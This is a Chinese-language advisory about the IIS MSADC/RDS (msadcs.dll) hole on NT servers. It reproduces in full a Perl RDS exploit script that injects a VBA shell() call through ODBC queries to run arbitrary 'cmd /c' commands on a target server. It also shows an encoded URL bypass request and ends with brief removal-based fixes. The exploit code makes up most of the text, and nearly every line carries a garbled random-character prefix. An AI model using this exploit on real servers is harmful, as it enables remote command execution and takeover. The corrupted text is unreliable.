IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
,<<HkEMS ?tf<AZ=+^L 涉及程序：
|eH*Q%M Microsoft NT server
tz_WxOQ0 9~yp =JOV@ 描述：
a\Dw*h?b~ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
0m'tPFQ| b h UghHT 详细：
;#S4$wISw` 如果你没有时间读详细内容的话，就删除:
<k 7q 9"\4 c:\Program Files\Common Files\System\Msadc\msadcs.dll
LGPg\g` 有关的安全问题就没有了。
1 eMaKT_= 4nGr?%> 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
zH1ChgF=} 95 oh}c 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
d6{0[T^L 关于利用ODBC远程漏洞的描述，请参看:
w"A%@<V3Ec `(pe#Xxn http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm H?)?(t7@ 8 qwOZ
d 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
# 3gdT http://www.microsoft.com/security/bulletins/MS99-025faq.asp &1ss
@- DWcEl: 这里不再论述。
l 8By2{pN 2jH&@g$cl; 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
9H,Ec,. uU#e54^ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
0xpE +GY 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
VMV~K7%0 lZ5TDS ?Fj >7 #将下面这段保存为txt文件，然后: "perl -x 文件名"
ej {7) # $d%NF c& #!perl
gcl w>((5 #
q%c"`u/v / # MSADC/RDS 'usage' (aka exploit) script
X1\ao[t<;c #
GM>Ms!Y # by rain.forest.puppy
cK6IyJx- #
BxHfL8$1[$ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
mY/x|)MmM # beta test and find errors!
#GA6vJ4^s H"%SzU use Socket; use Getopt::Std;
~6Df~uN getopts("e:vd:h:XR", \%args);
=.f<"P51k cK H By print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
O
- N>
X =- 8y = if (!defined $args{h} && !defined $args{R}) {
) G F>]|CG print qq~
{^SHIL Usage: msadc.pl -h <host> { -d <delay> -X -v }
YOY{f:ew -h <host> = host you want to scan (ip or domain)
n<66 7
< -d <seconds> = delay between calls, default 1 second
,: 4+hJ<q -X = dump Index Server path table, if available
C}cYG -v = verbose
MU5#ph -e = external dictionary file for step 5
0O7VM )[ il >XV> Or a -R will resume a command session
rklK=W z ^%2S,3*0 ~; exit;}
L+ d4&x A_<1 }8{L $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Q ^\f,E\S if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Pqb])-M9p if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
]>k>Z#8E* if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
rc)vVv $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
yB,{:kq7D if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
:gacP? /2Ae JH\- if (!defined $args{R}){ $ret = &has_msadc;
D-4\AzIb die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Vh;P,no# D}7G|gX1 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
+ hKH\] . "cmd /c ";
qW' 5Z k $in=<STDIN>; chomp $in;
oEnCe $command="cmd /c " . $in ;
WbDD9ZS EJZb3 if (defined $args{R}) {&load; exit;}
` ]\:%+- I85bzzZB print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
R.B3
&try_btcustmr;
|_ `wC _ ^cFdP)8| print "\nStep 2: Trying to make our own DSN...";
aO>Nev &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
>KMTxHE`+ K18Sj,]B print "\nStep 3: Trying known DSNs...";
TNK~ETE 4 &known_dsn;
o? {rPFR 0xe *\CAo print "\nStep 4: Trying known .mdbs...";
kmfxk/F } &known_mdb;
u &s>UkR GK-__Y. if (defined $args{e}){
SYmiDR print "\nStep 5: Trying dictionary of DSN names...";
k>dzeH &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
)A H)*Mg 2%zJI"Ic print "Sorry Charley...maybe next time?\n";
2v9T&xo= exit;
ryt aC( Af{K#R8! ##############################################################################
:OvTZ ?\ ;L.RfP"5< sub sendraw { # ripped and modded from whisker
!w -`:d? sleep($delay); # it's a DoS on the server! At least on mine...
r>gU*bs( my ($pstr)=@_;
(jB_uMuS socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
NY!"?Zko die("Socket problems\n");
,.T k "\@ if(connect(S,pack "SnA4x8",2,80,$target)){
} iCcXZ&5^ select(S); $|=1;
A *_ |/o print $pstr; my @in=<S>;
~G*eJc0S: select(STDOUT); close(S);
/QK H30E return @in;
&fu J% } else { die("Can't connect...\n"); }}
Bfz]PN78.G h|S6LgB ##############################################################################
_/
U er } Zo(p6rku sub make_header { # make the HTTP request
Q( \2(x\ my $msadc=<<EOT
_ZU.;0 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
e[AwR?= User-Agent: ACTIVEDATA
Z>+Tzvfud Host: $ip
ra*(.<& Content-Length: $clen
? IHa>f: Connection: Keep-Alive
MY `V0 JK@"
& ADCClientVersion:01.06
<.qhW^> X
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
R"
'=^ _pS!sY~d --!ADM!ROX!YOUR!WORLD!
7y2-8e L Content-Type: application/x-varg
L-v-KO6 Content-Length: $reqlen
c (Gl3^ Q!_@Am"h EOT
o#ajBOJ ; $msadc=~s/\n/\r\n/g;
`tb@x ^ return $msadc;}
T nG=X:+= KeiPo KhZi ##############################################################################
K!a4>Du{ xp<p(y8e1d sub make_req { # make the RDS request
DeTD.)pS my ($switch, $p1, $p2)=@_;
;$= GrR my $req=""; my $t1, $t2, $query, $dsn;
|w7D&p$ ij/5m-{6) if ($switch==1){ # this is the btcustmr.mdb query
P:8P>#L $query="Select * from Customers where City=" . make_shell();
HD& Ag $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
d|c> Y( $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
@rT}V>2I ttaY tV]] elsif ($switch==2){ # this is general make table query
oykqCN $query="create table AZZ (B int, C varchar(10))";
CF?TW $dsn="$p1";}
,*Z:a 4 g9F4nExo elsif ($switch==3){ # this is general exploit table query
v%%;Cp73 $query="select * from AZZ where C=" . make_shell();
XdR^, ;pWE $dsn="$p1";}
F;,LY:s|Z V;}6C&aP. elsif ($switch==4){ # attempt to hork file info from index server
KKLW-V\6K $query="select path from scope()";
.oR _r1\y $dsn="Provider=MSIDXS;";}
`LID*uD;_ DoYzTSWx elsif ($switch==5){ # bad query
[)&( zJHX $query="select";
>
l@ o\ $dsn="$p1";}
wK[Xm'QTPJ U;Ne"Jh $t1= make_unicode($query);
Q:4euhz * $t2= make_unicode($dsn);
Q|`sYm'. $req = "\x02\x00\x03\x00";
Z$'483< $req.= "\x08\x00" . pack ("S1", length($t1));
Ao/KB_4f*Q $req.= "\x00\x00" . $t1 ;
aAX(M=3 $req.= "\x08\x00" . pack ("S1", length($t2));
9WH $req.= "\x00\x00" . $t2 ;
)]?" H $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
|{ 8eoF return $req;}
(V xWa#P 7Vd"AVn}g ##############################################################################
:)9 ^T< 4Nx] *\\ sub make_shell { # this makes the shell() statement
[x.Dw U%S return "'|shell(\"$command\")|'";}
&o yj 8 Ef2#} %> ##############################################################################
o/U"'FP ~YX!49XfHh sub make_unicode { # quick little function to convert to unicode
&xGcxFd my ($in)=@_; my $out;
Q41eYzAi for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Nh m)bdv] return $out;}
YdI&OzaroE qU) pBA ##############################################################################
Q ]u*Oels #ir~v>J|| sub rdo_success { # checks for RDO return success (this is kludge)
j cT my (@in) = @_; my $base=content_start(@in);
CA PP Oh if($in[$base]=~/multipart\/mixed/){
Td`0;R'<}c return 1 if( $in[$base+10]=~/^\x09\x00/ );}
dGr m1w return 0;}
@6roW\'$ HP
/@ _qk ##############################################################################
-brn &1oJ F9SkEf]99 sub make_dsn { # this makes a DSN for us
oq >8 my @drives=("c","d","e","f");
xqua>!mqS print "\nMaking DSN: ";
{{\
d5CkX foreach $drive (@drives) {
@]EJbiGv print "$drive: ";
6,*o;<k[ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
iB:](M d'r "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
kZsat4 r . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
}8W5m(Zq9n $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
S1R:/9
z return 0 if $2 eq "404"; # not found/doesn't exist
9z:P#=Q: if($2 eq "200") {
y ^SDt3Am foreach $line (@results) {
*: *Kdt`'G return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
o y'GAc/ } return 0;}
pd[?TyVK; laQM*FLg ##############################################################################
X8Xw' 5V^+;eO sub verify_exists {
zoU-*Rs6 my ($page)=@_;
-zq_W+)ks my @results=sendraw("GET $page HTTP/1.0\n\n");
@AgV 7# return $results[0];}
7:h8b/9 QF7iU@%- ##############################################################################
.-6B6IEI_" >$.lM~k sub try_btcustmr {
b\U p( ] my @drives=("c","d","e","f");
f0 ^DsP my @dirs=("winnt","winnt35","winnt351","win","windows");
`oxs;; P G%V*+Ond foreach $dir (@dirs) {
uH 6QK\ print "$dir -> "; # fun status so you can see progress
BpGK`0H foreach $drive (@drives) {
UqP %S$9 print "$drive: "; # ditto
%:P&! F\? $reqlen=length( make_req(1,$drive,$dir) ) - 28;
d4h,
+OU $reqlenlen=length( "$reqlen" );
6uU2+I $clen= 206 + $reqlenlen + $reqlen;
TzCNY@y m ),3J4(q my @results=sendraw(make_header() . make_req(1,$drive,$dir));
#_,
l7q8U if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
$Y mD; else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
nEZ o F ^E5[~C*o3 ##############################################################################
jG0o-x=X rdFeDZo&Z) sub odbc_error {
jtMN )TM my (@in)=@_; my $base;
"Zh6j)[o my $base = content_start(@in);
c&Mci"n j0 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
d0`5zd@S $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
pm*6&, $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
k_2W*2'S $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
F K$?8Jp return $in[$base+4].$in[$base+5].$in[$base+6];}
& s|& cT print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
?W % 9H\; print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
%U.aRSf/ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
{ws:g![ "v"w ER? ##############################################################################
-L&FguoVB U -P\F- sub verbose {
gUo L8~ my ($in)=@_;
pMB~Lt9 return if !$verbose;
5df~] -=0Y print STDOUT "\n$in\n";}
llf|d'5Nl H !D ?;X ##############################################################################
0<{+M` G/ ]yxRaW9f sub save {
a-t}L{~ my ($p1, $p2, $p3, $p4)=@_;
:\+;5Se+l open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Tn~b#-0 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
{jOCz1J close OUT;}
e7j3 0Iy ;t.LL d ##############################################################################
8( ^;h 2O! )$* T>.JA sub load {
o* OaYF'8 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
-! dL
< open(IN,"<rds.save") || die("Couldn't open rds.save\n");
a!1 \,. @p=<IN>; close(IN);
kp~@Ub
@O3 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
5z8!Nmb/ $target= inet_aton($ip) || die("inet_aton problems");
BPoY32d"_ print "Resuming to $ip ...";
A
'Q
nL $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
> g+ogw Z if($p[1]==1) {
9tW=9<E $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Yy4? |wVl $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
F 8\nAX my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
?(cbZ#( o if (rdo_success(@results)){print "Success!\n";}
<bPn<QI else { print "failed\n"; verbose(odbc_error(@results));}}
k+au42:r elsif ($p[1]==3){
t?1+Yw./em if(run_query("$p[3]")){
7 I/ print "Success!\n";} else { print "failed\n"; }}
\\F@_nB,b elsif ($p[1]==4){
a'LM6A8~x if(run_query($drvst . "$p[3]")){
MY z yg print "Success!\n"; } else { print "failed\n"; }}
N5ityJIgQ exit;}
,8KD-" l^g 0L
"+, ##############################################################################
H!y%Fa Ti zCd QI sub create_table {
DK/xHIv8- my ($in)=@_;
+H[G D! $reqlen=length( make_req(2,$in,"") ) - 28;
Nw`}iR0i $reqlenlen=length( "$reqlen" );
cxhS*"P h $clen= 206 + $reqlenlen + $reqlen;
oC]|ARgQk| my @results=sendraw(make_header() . make_req(2,$in,""));
7|A9 return 1 if rdo_success(@results);
FK
MuRy| my $temp= odbc_error(@results); verbose($temp);
R cUK e, return 1 if $temp=~/Table 'AZZ' already exists/;
E6iU a' return 0;}
`ySmzp o(,u"c/Or ##############################################################################
nVqFCBB k_rtsN sub known_dsn {
x0ZEVa0`4 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
p{knQ], my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
Rc2| o.'y "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
w l.#{@J]< "banner", "banners", "ads", "ADCDemo", "ADCTest");
A$K>:Tt> L: H J: foreach $dSn (@dsns) {
0jY# ,t?> print ".";
2;@#i*\Y next if (!is_access("DSN=$dSn"));
7-nz'-' if(create_table("DSN=$dSn")){
3,@I`
M print "$dSn successful\n";
Zh?1+Sz& if(run_query("DSN=$dSn")){
. Q3GA0O print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
<lHelX=/ print "Something's borked. Use verbose next time\n";}}} print "\n";}
V9:h4] DP=4<ES%+ ##############################################################################
nRpZ;X)'. D2$"!7O1H sub is_access {
#GBe=tm\K my ($in)=@_;
8~QEJW$ $reqlen=length( make_req(5,$in,"") ) - 28;
]XX8l:+ $reqlenlen=length( "$reqlen" );
BJgg-z{ Y $clen= 206 + $reqlenlen + $reqlen;
YYrXLt: my @results=sendraw(make_header() . make_req(5,$in,""));
;dt&* ]wA my $temp= odbc_error(@results);
_y Q* verbose($temp); return 1 if ($temp=~/Microsoft Access/);
o (iN}. c return 0;}
X G
fLi $ :I~y|
!1 ##############################################################################
@D! KFJ 0ad -4 sub run_query {
;<Dou7= my ($in)=@_;
$gsn@P>" $reqlen=length( make_req(3,$in,"") ) - 28;
>;S/$
$reqlenlen=length( "$reqlen" );
zbt >5S_ $clen= 206 + $reqlenlen + $reqlen;
n>F1G
MX my @results=sendraw(make_header() . make_req(3,$in,""));
xU/Eu;m return 1 if rdo_success(@results);
w ( kN0HD my $temp= odbc_error(@results); verbose($temp);
[TiOh' return 0;}
9W ng(ef6G Q ^ %+r"h ##############################################################################
U 88-K1G YYDLFt r2 sub known_mdb {
m2[q*k]AtS my @drives=("c","d","e","f","g");
v~>^c1: my @dirs=("winnt","winnt35","winnt351","win","windows");
^
q]BCOfJ( my $dir, $drive, $mdb;
41y}n{4n8 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
4&IBNc,sn \ /C-e # this is sparse, because I don't know of many
|
fAt[e _E my @sysmdbs=( "\\catroot\\icatalog.mdb",
ShAI6j "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Ic 4>kKh "\\system32\\certmdb.mdb",
g2b %.X4 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
cT
abZc 0Zkb}F2- my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
u X*H2"A "\\cfusion\\cfapps\\forums\\forums_.mdb",
K29]B~0%E "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
,?;q$Xoi "\\cfusion\\cfapps\\security\\realm_.mdb",
($^XF: #5 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
;\=W=wL( "\\cfusion\\database\\cfexamples.mdb",
7Wg0-{yK4 "\\cfusion\\database\\cfsnippets.mdb",
M$ L1!o1Xf "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
*V(TNLIh; "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
7MreBs(M "\\cfusion\\brighttiger\\database\\cleam.mdb",
v KppXm1 "\\cfusion\\database\\smpolicy.mdb",
1_ uq46 "\\cfusion\\database\cypress.mdb",
:. B};;N "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
]qCAog "\\website\\cgi-win\\dbsample.mdb",
+D|y))fE "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
uGl +"/uDu "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
yu~~"Rq) ); #these are just
W!g'*L /#L foreach $drive (@drives) {
[nBlHI;& foreach $dir (@dirs){
mT\!LpX foreach $mdb (@sysmdbs) {
V2kNJwwk print ".";
E< ;C@B if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
gc@,lNmi print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
jj8AV lN if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
C.dN)?O print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
=BpX;n < } else { print "Something's borked. Use verbose next time\n"; }}}}}
kB d #=J 5-O[(b2O foreach $drive (@drives) {
j;eR9jI$T foreach $mdb (@mdbs) {
[i24$UT print ".";
$aTZ C >R if(create_table($drv . $drive . $dir . $mdb)){
/7 X:=~m print "\n" . $drive . $dir . $mdb . " successful\n";
NZ`W`#{ if(run_query($drv . $drive . $dir . $mdb)){
Z++JmD1J print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
/)?]vKMiI } else { print "Something's borked. Use verbose next time\n"; }}}}
B3uv>\ }
4`uI)N(}* 5S:#I5Wa ##############################################################################
a?%X9 +1A GbG!vo sub hork_idx {
'Syq!=, print "\nAttempting to dump Index Server tables...\n";
rgheq<B: print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
weC$\st:D $reqlen=length( make_req(4,"","") ) - 28;
SLRQ3 <0W_ $reqlenlen=length( "$reqlen" );
(u@p[ncN} $clen= 206 + $reqlenlen + $reqlen;
i[)H!%RV* my @results=sendraw2(make_header() . make_req(4,"",""));
T%K"^4k if (rdo_success(@results)){
`V[{(&?,n my $max=@results; my $c; my %d;
+~Ri CZt for($c=19; $c<$max; $c++){
b 8v?@s~ $results[$c]=~s/\x00//g;
a2 fV0d6*l $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
*,!6#Z7 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
$d.UF!s $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
1{R 1:` $d{"$1$2"}="";}
X.V7o d> foreach $c (keys %d){ print "$c\n"; }
R +IT )2 } else {print "Index server doesn't seem to be installed.\n"; }}
:.Vn XEM i~L+ ##############################################################################
U}(*}Ut 8)3 g! 3S sub dsn_dict {
g83]/s+ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
lCg'K(|" while(<IN>){
e"P>b? OY $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
:a(er' A next if (!is_access("DSN=$dSn"));
^yiRrcOo if(create_table("DSN=$dSn")){
[_ESR/&N print "$dSn successful\n";
u$d
T^c if(run_query("DSN=$dSn")){
m jG-A8y print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
* 3 mF.^ print "Something's borked. Use verbose next time\n";}}}
) 2C`;\/: print "\n"; close(IN);}
/,A:HM>B %g DMz7$~ ##############################################################################
($&i\e31N <hg t{b4 sub sendraw2 { # ripped and modded from whisker
"<x% kD sleep($delay); # it's a DoS on the server! At least on mine...
LDHuf<` my ($pstr)=@_;
JX@/ rXFY} socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
<zH24[ die("Socket problems\n");
fQq'_q5 if(connect(S,pack "SnA4x8",2,80,$target)){
?"[b408- print "Connected. Getting data";
P#bZtWx'<N open(OUT,">raw.out"); my @in;
Jw?J (ig^ select(S); $|=1; print $pstr;
85YE6^y while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
Au08k}h<G close(OUT); select(STDOUT); close(S); return @in;
Qp~O!9ph } else { die("Can't connect...\n"); }}
5Og. :4 ,Hn{nVU1R= ##############################################################################
OF'y]W& $NzD&b$7 sub content_start { # this will take in the server headers
v)>R)bzqe my (@in)=@_; my $c;
57^ X@ra$ for ($c=1;$c<500;$c++) {
RSXYz8{ if($in[$c] =~/^\x0d\x0a/){
yZ=wT,Y if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
`= 8g%O|T else { return $c+1; }}}
s,O: l0 return -1;} # it should never get here actually
Q1? !,a uFNVV;~RFI ##############################################################################
gtWJR X*6bsYbK- sub funky {
GV'Y' my (@in)=@_; my $error=odbc_error(@in);
<eK F if($error=~/ADO could not find the specified provider/){
F
Cg{!h print "\nServer returned an ADO miscofiguration message\nAborting.\n";
, cD(s(6+ exit;}
> f,G3Ay if($error=~/A Handler is required/){
=m6;]16 D print "\nServer has custom handler filters (they most likely are patched)\n";
z6#~B& exit;}
nE# p
Ry] if($error=~/specified Handler has denied Access/){
gnF]m0LR print "\nServer has custom handler filters (they most likely are patched)\n";
^c"
wgRHc< exit;}}
`Et)@{iP { [ QCuR ##############################################################################
zts%oIgV d- w#\ ^ sub has_msadc {
+]P? ?`,R; my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
1>bG]l1// my $base=content_start(@results);
F1%-IBe return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
:r* skV| return 0;}
FjD`bh w- vfPL;__{Y] ########################
.XQ_ , EEmYfP[3 E4~k)4R 解决方案：
fOs} 5J 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
gB,~Y511 2、移除web 目录: /msadc
